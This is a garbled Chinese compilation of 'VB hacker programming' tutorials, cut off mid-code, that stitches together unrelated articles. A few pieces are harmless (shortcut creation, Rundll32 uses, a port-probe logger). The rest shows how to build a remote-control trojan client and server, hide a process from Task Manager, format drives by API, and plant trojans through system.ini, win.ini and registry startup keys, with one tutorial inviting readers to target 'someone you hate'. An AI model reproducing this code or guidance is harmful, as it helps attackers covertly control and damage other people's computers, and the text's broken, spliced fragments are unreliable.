1、VB 黑客编程基础一. 调用系统“创建快捷方式”向导 是否为 VB 不支持创建快捷方式而于着急呢?虽然 您可以调用 vb5stkitDll 中的fCreateShellLink 函 数,但它是为安装程序设计的,快捷方式的默认路径 总是从当前用户的“Start MenuPrograms”开始,也 就是说,如果您的 Windows95 装在 C 盘上,您无法通过 fCreateShellLink 函数把快捷方式创建到 D 盘上去。 现在,给大家介绍一种极为方便、巧妙的方法: 用 Shell 语句调用系统“创建快捷方式”向导。 新建一个项目,在窗体上放一个按钮,双击此按 钮,加入以下代码: Priv
2、ate Sub Command1_Click() Open App.Path “temp.lnk“ For Output As #1 Close #1 以上两句在程序所在目录建立一 个临时文件 Shell “Rundll32.exe AppWiz.Cpl,NewLinkHere “ App.Path “temp.lnk“ End Sub (注意:Shell 语句中 NewLinkHere 后面跟着一个 空格才是引号,否则将出错。 ) 运行程序,按一下命令按钮,怎么样?“创建快 捷方式”向导出现了,如果创建成功,快捷方式将取 代临时文件 temp.lnk 的位置,如果选取消,temp.lnk 也
3、会自动消失。当然,您可以在硬盘的任意位置建立 temp.lnk。好,现在又可以为您的程序增添一项新功 能了。Enjoy! 二. Rundll32.exe 的用途 我们知道,用 Shell 语句只能调用可执行文件,即 exe、com、bat 和 pif 文件,有时我们想要调用其他一 些系统功能该怎么办呢?此时,Windows 提供的 Rundll32.exe 可大显身手了。下面我们来认识一下这 些用法,也许会给您带来一点惊喜。 1要打开设置系统时间的控制面板文件 (Timedate.cpl),只需运行如下代码: Shell “Rundll32.exe Shell32.dll,Control_Ru
4、nDLL Timedate.cpl“ 至于打开其他控制面板文件,相信您一定能够举 一反三,尝试一下,换个文件名就成了。 2要运行某一快捷方式(*.lnk )则可以用以下 代码: She11 “Rundll32.exe url.dll, FileProtocolHandler X“ (X 代表要运行的文件,包括 路径,下同。 3. 也可以这样写来打开 ActiveMovie 控制: Shell “RUNDLL32.EXE amovie.ocx,Rundll“,1 而用 Shell “RUNDLL32.EXE amovie.ocx,Rundll /play X“,1 将直接播放媒体文件。 4. S
5、hell “rundll32.exe desk.cpl,InstallScreenSaver X”当然是安装屏幕保 护啦,如果你写了一个屏幕保护程序,那么可以在安 装程序中写上它,而不一定要装到 system 目录下。顺 便提一下,VB 不是自捞一个“Application Setup Wizard”么?它的 VB 源代码都在安装目录下的 “setupkitsetup1”中放着呢,好好把它研究一下。 你完全能做出富有个性的安装程序来。 5.按住 shift 键,右击某一文件,菜单中会出现 “打开方式”选项,这也许已不是什么秘密。但现在, 用 shell “rundll32.exe shell3
6、2.dll OpenAs_RunDLL X“ 便能直接调用“打开方式”框。 6. 甚至能用这样一句来打印文件(包括 HTML 所 支持的所有文本与图像格式): Shell “rundll32.exe MSHTML.DLL ,PrintHTML X ”, 1 怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe 这个平时不起眼的文件另眼相待了,它 可是系统运行必不可少的部件呢!其实 ShellRundll32 还能调用其他许多系统功能,比如关 于 NetMeeting 和 Telnet 方面的。如果您有兴趣,可以 到往册表的“我的电脑HKEY_CLASSES_ROOT”或“我 的
7、电脑HKEY_LOCAL_MACHINESoftwareCLASSES”下 去看看,本文的内容大都是从那里“抄”来的。只要 有足够的决心、信心、耐心,您一定能发现更多有价 值的东西。Good luck! 主要也就 /showerr.asp?BoardID=0&ErrCodes=60,60&action= 再起作用 程序所有代码仅此两段 Private Sub Command1_Click() WebBrowser1.Navigate (Text1.Text + “/showerr.asp?BoardID=0&ErrCodes=60,60&action=“) End Sub Private Su
8、b Command2_Click() End End Sub 程序下载. 首先,新建一工程,名为 Server,新建一个窗体,Name 为 Server,在窗体中加入一个winsock 控件,Name 设为 sckServer,协议设为默认的 TCPIP 协议。 接下来我们回来 Server 窗体模块中,添加如下代码: Private Sub form_Load() With Me .sckServer.LocalPort = 88917本地端口(呵呵!我的生日!) .sckServer.Listen 开始监听 End With End Sub 接受客户端的连接请求。 Private Sub
9、sckServer_ConnectionRequest(ByVal requestID As Long) With Me If .sckServer.State 0 ThenRetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)If RetVal = 0 ThenMsgBox “置入消息错误! “End IfElseMsgBox “Calculator 没有打开!“End If为了让以上的代码工作,你必须在模块文件中什么以下 API 函数:Declare Function FindWindow Lib “user32“ Alias _“FindWindo
10、wA“ (ByVal lpClassName As String, _ByVal lpWindowName As String) As Long Declare Function PostMessage Lib “user32“ Alias _“PostMessageA“ (ByVal hwnd As Long, ByVal wMsg As Long, _ByVal wParam As Long, lParam As Any) As Long Public Const WM_CLOSE = &H10网络是互联的,当你从中获取资源的同时,也要经受其中的考验,木马程序会修改并破坏电脑的系统和文件,
11、除了安装杀毒软件(包括防火墙)外,还应该尽可能地掌握系统文件知识。下面简单介绍一下木马的加载方式:加载方式:定位于 Systemini 和 Winini 文件System.ini(位置 C:windows)boot项原始值配置:“shell=explorer.exe” ,explorer.exe 是 Windows 的核心文件之一,每次系统启动时,都会自动加载。boot项修改后配置:“shell=explorer C:windowsxxx.exe”(xxx.exe 假设一木马程序)。Win.ini(位置 C:windows)windows项原始值配置:“load= ”;“run=” ,一般情况
12、下,等号后无启动加载项。windows项修改后配置:“load= ”和“run=”后跟非系统、应用启动文件,而是一些你不熟悉的文件名。解决办法:执行“运行msconfig”命令,将 System.ini 文件和 Win.ini 文件中被修改的值改回原值,并将原木马程序删除。若不能进入系统,则在进入系统前按“Shift+F5”进入Command Prompt Only 方式,分别键入命令 edit system.ini 和 edit win.ini 进行修改。加载方式:隐藏在注册表中(此方式最为隐蔽) 。注意以下注册表项:HKEY LOCAL MACHINESoftwareclassesexef
13、ileshellopencommand原始数值数据:“%1“%被修改后的数值数据:C:systemxxx.exe “%1“%原注册表项是运行可执行文件的格式,被修改后就变为每次运行可执行文件时都会先运行 C:systemxxx.exe 这个程序。例如:开机后运行 QQ 主程序时,该 xxx.exe(木马程序)就先被加载了。解决办法:当通过防火墙得知某端口被监听,立即下线,检查注册表及系统文件是否被修改,找到木马程序,将其删除。所谓“病从口入” 感染源还是在于加载了木马程序的服务器端。目前,伪装可执行文件图标的方法很多,如:修改扩展名,将文件图标改为文件夹的图标等,并隐藏扩展名,因此接收邮件和下
14、载软件时一定要小心。许多木马程序的文件名很像系统文件名,造成用户对其没有把握,不敢随意删除,因此要不断增长自己的知识才可防备万一。可以借助一些软件来狙击木马,如:The Cleaner、Trojan Remover 等。建议经常去微软网站下载补丁包来修补系统;及时升级病毒库 BO 又称“特洛伊木马” , 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用 VB 来实现它。 -
15、使用 VB 建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。 - 在 Client 工程中建立一个窗体,加载 WinSock 控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服务器的 IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下: Private Sub cmdConnect_Click()If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 ThenMsgBox (“请输入主机名或主机 IP 地址。“)Exit SubElseIf Len(Text1.Te
16、xt) 0 ThentcpClient.RemoteHost = Text1.TextElsetcpClient.RemoteHost = Text2.TextEnd IfEnd IftcpClient.ConnectTimer1.Enabled = True End Sub- 连接建立之后就可以使用 DataArrival 事件处理所收到的数据了。 - 在服务器端 systry 工程也建立一个窗体,加载 WinSock 控件,称为 tcpServer,协议选择 TCP,在 Form_Load 事件中加入如下代码: Private Sub Form_Load()tcpServer.LocalP
17、ort = 1999tcpServer.ListenEnd Sub- 准备应答客户端程序的请求连接,使用 ConnectionRequest 事件来应答户端程序的请求,代码如下: Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)If tcpServer.State sckClosed ThentcpServer.Close检查控件的 State 属性是否为关闭的。End If 如果不是,在接受新的连接之前先关闭此连接。tcpServer.Accept requestIDEnd Sub- 这样在客户端程序按下了连接按
18、钮后,服务器端程序的 ConnectionRequest 事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。 - 建立连接后服务器端的程序通过 DataArrival 事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView 控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端
19、窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival 事件程序如下: Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)Dim strData As StringDim i As LongDim mKey As StringtcpServer.GetData strData 接收数据并存入 strDataFor i = 1 To Len(strData) 分离 strData 中的命令If
20、Mid(strData, i, 1) = “ ThenmKey = Left(strData, i - 1) 把命令 ID 号存入 mKey把命令参数存入 strData strData = Right(strData, Len(strData) - i) Exit ForEnd IfNext i Select Case Val(mKey)Case 1驱动器名、目录名、文件名Case 2强制关闭服务器端的计算机Case 3强制重启服务器端的计算机Case 4屏蔽任务栏窗口;Case 5屏蔽开始菜单; Case 6按照客户机端传过来的文件名或目录名,而删除它; Case 7屏蔽热启动键;Case
21、 8运行服务器端的任何程序 End Select End Sub详细程序略。- 客户机端用 tcpClient.SendData 发命令。命令包括命令 ID 和命令参数,它们用符号“”隔开。 - 另外,当客户机端断开与服务器端的来接后,服务器端应用 tcpServer_Close 事件,来继续准备接收客户机端的请求,其代码如下: Private Sub tcpServer_Close()tcpServer.ClosetcpServer.ListenEnd Sub- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行
22、就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。 - 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用 BO 程序破坏别人的系统。软盘是数据的常用载体,我们的软件可能会提供用户将数据备份到软盘上的功能。为避免软盘上有带有病毒的文件,最安全的办法就是提醒用户将软盘格式化。 Visual Basic 可以通过调用 API 函数格式化一个磁盘,无论是软盘还是硬盘。 打开一个新的项目(project1) ,如果你没有更改过缺省模式,那么 Visual Basic 会自动添加一个 form1 文件,在 form1 上添加一个命令
23、控件,将下面的代码拷入。 Option Explicit Private Declare Function SHFormatDrive Lib“shell32“_ ( ByVal Hend AS Long,_ ByVal Drive AS Long,_ ByVal FormatID AS Long,_ ByVal Options AS Long) as Long Private Sub FormatDisk(intDrive as integer,blnQuickFormat as Boolean) dim lngReturn As Long; if (blnQuickFormat) then
24、 lngReturn= SHFormatDrive(0,intDrive,0&,1&) else lngReturn= SHFormatDrive(0,intDrive,0&,0&) end if end Sub Private Sub Command1_Click() call FormatDisk(0,True) End Sub 运行此程序。 这里有必要提醒读者注意的是,FormatDisk 函数的第一个变量很重要,他的值是0,1,2 时代表格式化的分别是:A 、B、C 盘。 注意:读者使用此程序作练习的时候千万不要用硬盘作实验,笔者不为可能发生的错误和损失负责在一些系统,为了特定目的,经
25、常要求程序隐藏起来运行,例如 DCS(集散控制系统)中的后台监控系统、木马控制程序、源码防拷贝等,以减少被发现、截杀和反汇编的风险。这种功能模块要求程序在运行期间不仅不会在桌面出现,也不允许被操作者从任务管理器列表中发现。 程序隐形的原理 对于一个隐形程序而言,最基本的要求是: 1. 不在桌面出现界面; 2. 不在任务栏出现图标; 3. 程序名从任务管理器名单中消失。 对于上述第一点,可以将 Form 的 Visible 属性设为 False。 要将图标从任务栏中屏蔽掉,可以把 Form 的 ShowInTaskBar 改为 False。 在 Windows 环境下,可以调用 WIN API
26、函数中的 RegisterviceProcess 来实现第三个要求。 上述功能,不论用 VC、Delphi、VB,还是 PB 等任何一种高级编程语言都是比较容易实现的。 隐形功能多用于木马程序,但木马程序在许多国家和地区是不合法的,为便于理解,本文用 VB 结合一个程序防拷贝的实例来讲解。通过获取软件安装路径所在磁盘序列号(磁盘 ID),用做对合法用户的判断。以下程序的目的是用于讲解隐形程序的编制和应用,对程序防拷贝内容作了一定程度的简化。 程序隐形的示例 程序的具体编制操作如下: 1. 在 VB6.0 编程环境中,新建一个工程 Project1。 2. 在 Project1 中添加模块 Mo
27、dulel,在工程属性中将工程名称改为 HiddenMen,应用程序标题也改为 HiddenMen(以下程序都经过实际运行测试,可以原样复制使用) 。 在模块 Module1 中加入如下声明: Public Declare Function GetCurrentProcessId Lib “kernel32” () As Long 获得当前进程 ID 函数的声明 Public Declare Function RegisterServiceProcess Lib “kernel32” (ByVal ProcessId As Long, ByVal ServiceFlags As Long) A
28、s Long 在系统中注册当前进程 ID 函数的声明 3. 在 Project1 中新建一个窗体 Form1,设置 Form1 的属性: form1.Visible=False form1.ShowInTaskBar=False 在代码窗口添加如下代码: Private Declare Function GetDriveType Lib “kernel32” Alias “GetDriveTypeA” (ByVal nDrive As String) As Long 获得当前驱动器类型函数的声明 Private Declare Function GetVolumeInformation Lib
29、 “kernel32” Alias “GetVolumeInformationA” (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize A
30、s Long) As Long 获得当前驱动器信息函数的声明 Private Sub Form_Load() Dim drive_no As Long, drive_flag As Long Dim drive_chr As String, drive_disk As String Dim serial_no As Long, kkk As Long Dim stemp3 As String, dflag As Boolean Dim strlabel As String, strtype As String,strc As Long RegisterServiceProcess GetCur
31、rentProcessId, 1 从系统中取消当前进程 strlabel = String(255, Chr(0) strtype = String(255, Chr(0) stemp3 = “172498135” 这是作者 C 盘的序列号(十进制),读者可根据自己情况更改。 dflag = False For drive_no = 0 To 25 drive_disk = Chr(drive_no + 67) drive_chr = drive_disk & “ :” drive_flag = GetDriveType(drive_chr) If drive_flag = 3 Then kk
32、k = GetVolumeInformation(drive_chr, strlabel, Len(strlabel), serial_no, 0, 0, strtype, Len(strtype) 通过 GetVolumeInformation 获得磁盘序列号 Select Case drive_no Case 0 strc = serial_no End Select If serial_no = stemp3 Then dflag = True Exit For End If End If Next drive_no If drive_no = 26 And dflag = False
33、Then 非法用户 GoTo err: End If MsgBox (“HI,合法用户!”) Exit Sub err: MsgBox (“ 错误!你的 C:盘 ID 号是” & strc) End Sub Private Sub Form_Unload(Cancel As Integer) RegisterServiceProcess GetCurrentProcessId, 0 从系统中取消当前程序的进程 End Sub 将上述程序代码编译后运行,在出现类似“错误!你的 C 盘 ID 号是 172498135”对话框时,按下 Ctrl+Alt+Del 键,看看程序名叫“HiddenMen
34、”是否在任务管理器名单列表里。如果把上述程序稍加改动,可以加到自己特定的程序中去。该程序在隐形运行之中,不知不觉就完成了预定功能。 以上程序在简体中文 Windows 98 和 VB 6.0 环境中调试通过。上网的时候很容易遭到探测,一般探测你个人的入侵者技术不会高明到哪里去。所以根本不能称上黑客,所以本文就用入侵者来代替。他们对普通网民的扫描可以是多端口单 IP 的扫描或者多 IP 单端口扫描。前者是通过一些 IP 工具来取得你的 IP,然后尝试利用端口扫描获取你的信息,看你的计算机有没有预先中了木马。然后通过网上的木马端口列表,来获得木马名称。用相应的客户端软件来连接到你的计算机。从而获得
35、密码、以及你的秘密信息。后者则是通过利用如 SuperScan 等可以大范围扫描 IP 的软件,扫描打开特定端口的机器。比如,可以扫描打开 7626 端口的机器,看对方是否中了冰河。然后,入侵者就用客户端连接到服务器从而入侵你的计算机。这些扫描是简单的 TCP 的 Connect 扫描。所以无法避开防火墙的追踪。网民就可以利用天网等防火墙软件来获取对方的 IP。相信很多 DIY 迷或者编程爱好者总是想拥有属于自己的类似的工具。本文就给你讲述如何用 VB 来获得探测你的入侵者的 IP 地址,然后我可没有教你用蓝屏炸弹或者蜗牛炸弹去炸它哦。毕竟,我们没有入侵者的野心,本程序还可以让你监听 80 端
36、口,来察看对方对你进行的常规扫描。要看懂本文,你需要有一定的VB 基础。好了,废话少说,我们来看看本程序的基本原理:入侵者通过 Connect 本机的端口,然后通过是否成功,来获得信息。由于 TCP 的三次握手原理。他必定会留下自己的 IP,我们就利用这一个原理来获得对方的 IP。Winsock 控件的属性、方法和事件在我上次写的.用 winsock 制作漏洞扫描器一文中已经叙述过,这里就不再介绍。大家还一定记得 RemoteHostIP 和 LocalPort 属性吧。这就是对方的 IP 和自己的端口。聪明的你应该明白了吧。通过这两个属性就可以清楚的获得对方的 IP 地址和他正在扫描的本地端
37、口。因为不可能一个端口只有一个人会扫描,所以本程序我们需要使用到控件数组。这个概念的描述大家可以查找 MSDN。本程序的流程是:、 定义需要监听的端口、 装载一定数量的 Winsock1 控件,从需要监听的端口列表中获得数据。一一开启监听功能。 (Listen)、 当某一个控件接收到连接的事件发生,就把得到的 RemoteIP 和 LocalPort 加入日志、 加载一个 Winsock2,继续捕获数据(Getdata)、 Winsock2 数据到达记录数据程序的基本概念都介绍完了,相信你对本程序已经有了一定的认识。现在我们就来开始我们的工作:程序的控件以及说明如下:控件名 控件类型 属性 L
38、abel1 Label Caption=”增加端口” Command1 command Caption=”添加” Command2 command Caption=”监听” Command3 command Caption=”退出” Listports Listbox 无 TxtLog Richtextbox 无 程序的代码以及说明如下:本程序在 VB6.0Windows2000 下测试通过!Dim tmpstr As StringDim NOW_OUT As Integer 总共出去连接的有几个 WinsockPrivate Sub Command1_Click()ListPorts.Add
39、Item txtADDPORT.TextEnd SubPrivate Sub Command2_Click()On Error Resume NextIf Command2.Caption = “监听“ ThenFor i = 0 To ListPorts.ListCount - 1Load Winsock1(i + 1) 加载监听端口的 winsock1 数组控件Winsock1(i + 1).LocalPort = ListPorts.List(i) 设定端口Winsock1(i + 1).Listen 监听Next iCommand2.Caption = “停止“ElseFor i =
40、1 To Winsock1.Count - 1Unload Winsock1(i)Next iFor i2 = 1 To Winsock2.Count - 1Unload Winsock2(i2)Next i2Command2.Caption = “监听“End IfEnd SubPrivate Sub Command3_Click()Unload MeEnd SubPrivate Sub Form_Load()txtLOG.Text = “日志:“ & vbCrLfNOW_OUT = 1End SubPrivate Sub Winsock1_ConnectionRequest(Index A
41、s Integer, ByVal requestID As Long)Load Winsock2(NOW_OUT) 加载建立连接的 Winsock2 数组控件Winsock2(NOW_OUT).Accept requestID 建立连接Winsock1(Index).CloseWinsock1(Index).Listen Winsock1 继续监听NOW_OUT = NOW_OUT + 1 连接的控件累加myAddLog “来自“ & Winsock1(Index).RemoteHostIP & “连接到本地端口:“ & Winsock1(Index).LocalPort显示捕获的连接End
42、SubPrivate Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)Winsock2(Index).GetData tmpstr 通过 Getdata 捕获数据myAddLog “来自 “ & Winsock2(Index).RemoteHostIP & “的数据:“ & tmpstr 显示捕获的数据End SubSub myAddLog(tmptext As String) 加入日志tmptext = tmptext & vbCrLftxtLOG.SelStart = Len(txtLOG.Text)t
43、xtLOG.SelText = tmptextEnd Sub总结:其实一些程序的原理很简单,我们只要善于实践,并且能够把所学的只是运用到你的程序中去,我想编出类似的程序是很简单的。如木马、端口扫描器、客户端工具、CGI 漏洞扫描器。VB 的 Winsock 控件虽说不是底层操作。及不上 C 语言的 Socket 编程的功能。但实现普通的操作还是很有用的。简单的例子就是 Cookie 欺骗,用 VB 来编写这种程序十分简单。 今天我为大家讲如何用 VB 编写“木马“ 程序木马一般分为两个主程序:一个是服务器端的程序 (server),另一个是客户端程序(client),服务器程序是给攻击对象用的
44、,千万不可用错了-给自己种马的人0客户程序才是给自己用的,于是我们就用 VB 建立两个程序,一个为服务器端程序 cockhorseserver,另一个为客户端程序 cockhorseclient.先在 cockhorseclient 程序中建立一个窗体,加载一个 winsock 控件,称为 tcpclient,再加上两个文本框,用来输入服务器的 IP 地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.代码我写下:Private Sub Command1_Click()调用 connect 方法,初始化连接 .tcpclient.RemoteHost = ipinput.Textt
45、cpclient.RemotePort = Val(portinput.Text) 这是端口号,默认为 1001tcpclient.Connect 和指定的 IP 相对的计算机相连接cmdconnect.Enabled = FalseEnd Sub(在收到数据之后,就要对这些数据做出相应的处理 ,使用 dataarrival 事件,可以方便运载数据进操作.Private Sub tcpclient_dataArrival(ByVal bytestotal As Long)Dim strdata As Stringtcpclient.GetData strdataIf strdata = “te
46、st connect“ Thentcpstate.Text = “connect OK“ + vbNewLine + LocalIP Is “:“ + -tcpclient.LocalIP + “computer name is : “ + tcpclient.LocalHostNametcpstate.Text = tcpstate.Text + vbNewLine + “remote ip is :“ + -tcpclient.RemoteHostIP + “computer name is : “ + tcpclient.remotehostnameIf InStr(Trim(strda
47、ta), “closeOK?“) 0 Thentcpclient.CloseEnd IfEnd Iftxtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + “: “ + strdataEnd SubEnd Sub这是这一段代码cockhorseclient 程序的核心部分就是这些,下面我讲 cockhorseserver 程序cockhorseserver 程序也是先建立一个窗体 ,也要加载一个 winsock 控件,(方便一些,我在同一个工程下建立这个窗体).如果当 cockhorseclient 程序运行时
48、,cockhorseclient 程序就会对 cockhorseserver 发出连接请求,为了完成这个连接任务,可以用 connectionrequest 事件来完成,然后就是具体的错误情况的表达.代码我打出来:if index=0 thenintmax= intmax+1load tcpserver(intmax)tcpserver(intmax).localport=0tcpserver(intmax).accept requestIDcombol_IP.additem(tcpserver(intmax).remotehostIP)combol_Ip.text=“填上你的恨的人的 IP
49、吧!“tcpserver(intmax).senddata“test connect“end if呵呵.刚才忘记定义名称了它的效果是:在 cockhorseclient 程序被按下的时候,cockhorseserver 程序的 connectionrequest事件被触发,从而执行上面的程序,产生连接.现在的 cockhorseserver 程序只能做链接 ,还不能处理 cockhorseclient 程序所发出的指令,我们还必需用dataarrival 事件.代码是这样的:Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)Dim strdata As StringDim check_blongon error gogo err_protcpserver(index).GetData strdatacheck_blong = InStr(Trim(str